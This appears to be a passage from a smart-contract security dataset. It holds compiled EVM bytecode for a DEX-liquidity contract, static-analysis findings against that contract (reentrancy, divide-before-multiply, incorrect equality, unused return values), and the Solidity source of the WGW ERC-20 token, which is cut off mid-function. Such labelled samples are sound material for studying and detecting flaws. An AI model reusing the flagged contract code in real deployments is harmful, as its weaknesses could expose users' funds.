0565b610a69846109b46111b1565b610a648560405180606001604052806028815260200161375260289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a1a6111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116669092919063ffffffff16565b6111b9565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610b34610a986111b1565b84610b2f8560016000610aa96111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172690919063ffffffff16565b6111b9565b6001905092915050565b610b4882826117ae565b5050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c445780601f10610c1957610100808354040283529160200191610c44565b820191906000526020600020905b815481529060010190602001808311610c2757829003601f168201915b5050505050905090565b610d0f818273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ccf57600080fd5b505afa158015610ce3573d6000803e3d6000fd5b505050506040513d6020811015610cf957600080fd5b8101908080519060200190929190505050610b3e565b50565b6000610dd5610d1f6111b1565b84610dd0856040518060600160405280602581526020016138446025913960016000610d496111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116669092919063ffffffff16565b6111b9565b6001905092915050565b6000610df3610dec6111b1565b84846113b0565b6001905092915050565b600080737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5a57600080fd5b505afa158015610e6e573d6000803e3d6000fd5b505050506040513d6020811015610e8457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390584306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610f4557600080fd5b505afa158015610f59573d6000803e3d6000fd5b505050506040513d6020811015610f6f57600080fd5b810190808051906020019092919050505090506000610fce610fbd610f92610979565b610faf610f9e86610b64565b6127106121bc90919063ffffffff16565b61224290919063ffffffff16565b61271061228c90919063ffffffff16565b90506000811415610fe557611d4c92505050610ffd565b611d4c8111610ff45780610ff8565b611d4c5b925050505b919050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6006602052816000526040600020602052806000526040600020600091509150505481565b611d4c81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61271081565b6110e982826122d6565b5050565b6111ae813073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561116e57600080fd5b505afa158015611182573d6000803e3d6000fd5b505050506040513d602081101561119857600080fd5b81019080805190602001909291905050506122d6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137c06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136e96022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061379b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136a46023913960400191505060405180910390fd5b6115278160405180606001604052806026815260200161370b602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116669092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ba816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611713576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116d85780820151818401526020810190506116bd565b50505050905090810190601f1680156117055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006119268373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156117f957600080fd5b505afa15801561180d573d6000803e3d6000fd5b505050506040513d602081101561182357600080fd5b810190808051906020019092919050505060ff16600a0a6119188473271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118cf57600080fd5b505afa1580156118e3573d6000803e3d6000fd5b505050506040513d60208110156118f957600080fd5b81019080805190602001909291905050506121bc90919063ffffffff16565b61224290919063ffffffff16565b90506000811161199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156119fa57600080fd5b505afa158015611a0e573d6000803e3d6000fd5b505050506040513d6020811015611a2457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611ae557600080fd5b505afa158015611af9573d6000803e3d6000fd5b505050506040513d6020811015611b0f57600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cdc57737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611bb157600080fd5b505afa158015611bc5573d6000803e3d6000fd5b505050506040513d6020811015611bdb57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539685306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611c9e57600080fd5b505af1158015611cb2573d6000803e3d6000fd5b505050506040513d6020811015611cc857600080fd5b810190808051906020019092919050505090505b611d093382858773ffffffffffffffffffffffffffffffffffffffff16612bdd909392919063ffffffff16565b611d138183612ce3565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d9257600080fd5b505afa158015611da6573d6000803e3d6000fd5b505050506040513d6020811015611dbc57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e4e57600080fd5b505af1158015611e62573d6000803e3d6000fd5b505050506040513d6020811015611e7857600080fd5b81019080805190602001909291905050505060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f0957600080fd5b505afa158015611f1d573d6000803e3d6000fd5b505050506040513d6020811015611f3357600080fd5b81019080805190602001909291905050509050611fe7611f5c838361228c90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061209861271061208a61207b8a610dfd565b886121bc90919063ffffffff16565b61224290919063ffffffff16565b905061212981600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b33382612ce3565b50505050505050565b6000808314156121cf576000905061223c565b60008284029050828482816121e057fe5b0414612237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137316021913960400191505060405180910390fd5b809150505b92915050565b600061228483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e9e565b905092915050565b60006122ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611666565b905092915050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828210156123e4578192505b6123ee3384612f64565b61247d83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228c90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125228261251485846121bc90919063ffffffff16565b61224290919063ffffffff16565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561258057600080fd5b505afa158015612594573d6000803e3d6000fd5b505050506040513d60208110156125aa57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561266b57600080fd5b505afa15801561267f573d6000803e3d6000fd5b505050506040513d602081101561269557600080fd5b810190808051906020019092919050505090506126e8737a250d5630b4cf539739df2c5dacb4c659f2488d60008373ffffffffffffffffffffffffffffffffffffffff1661311c9092919063ffffffff16565b612727737a250d5630b4cf539739df2c5dacb4c659f2488d838373ffffffffffffffffffffffffffffffffffffffff1661311c9092919063ffffffff16565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663baa2abde863085600080306127736107084261172690919063ffffffff16565b6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019750505050505050506040805180830381600087803b15801561285657600080fd5b505af115801561286a573d6000803e3d6000fd5b505050506040513d604081101561288057600080fd5b810190808051906020019092919080519060200190929190505050505060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561291c57600080fd5b505afa158015612930573d6000803e3d6000fd5b505050506040513d602081101561294657600080fd5b81019080805190602001909291905050509050600061296430610b64565b90506000612ade8873ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156129b157600080fd5b505afa1580156129c5573d6000803e3d6000fd5b505050506040513d60208110156129db57600080fd5b810190808051906020019092919050505060ff16600a0a612ad08573271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d8d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612a8757600080fd5b505afa158015612a9b573d6000803e3d6000fd5b505050506040513d6020811015612ab157600080fd5b81019080805190602001909291905050506121bc90919063ffffffff16565b61224290919063ffffffff16565b905060008111612b56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81811115612b62578190505b612b6c3082612f64565b612b9733848a73ffffffffffffffffffffffffffffffffffffffff1661333c9092919063ffffffff16565b80821115612bd357612bd233612bac30610b64565b3073ffffffffffffffffffffffffffffffffffffffff1661333c9092919063ffffffff16565b5b5050505050505050565b612cdd848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061340d565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b612d9b8160025461172690919063ffffffff16565b600281905550612df2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290612f4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f0f578082015181840152602081019050612ef4565b50505050905090810190601f168015612f3c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f5657fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612fea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061377a6021913960400191505060405180910390fd5b613055816040518060600160405280602281526020016136c7602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116669092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ac8160025461228c90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000811480613216575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156131d957600080fd5b505afa1580156131ed573d6000803e3d6000fd5b505050506040513d602081101561320357600080fd5b8101908080519060200190929190505050145b61326b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061380e6036913960400191505060405180910390fd5b613337838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061340d565b505050565b613408838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061340d565b505050565b61342c8273ffffffffffffffffffffffffffffffffffffffff16613658565b61349e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106134ed57805182526020820191506020810190506020830392506134ca565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461354f576040519150601f19603f3d011682016040523d82523d6000602084013e613554565b606091505b5091509150816135cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613652578080602001905160208110156135eb57600080fd5b8101908080519060200190929190505050613651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806137e4602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b821415801561369a5750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582098334e356b1d66e0ef4a0d755f6c478dcc464125641b500dd16a7b62bc54d0b364736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,191 |
0x846387983cae97bc816edde9f309f25d09203e04
|
pragma solidity ^0.4.21;
/*
* Creator: WGW (White Girl Wasted)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* White Girl Wasted token smart contract.
*/
contract WGWToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 2150400000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function WGWToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "White Girl Wasted";
string constant public symbol = "WGW";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
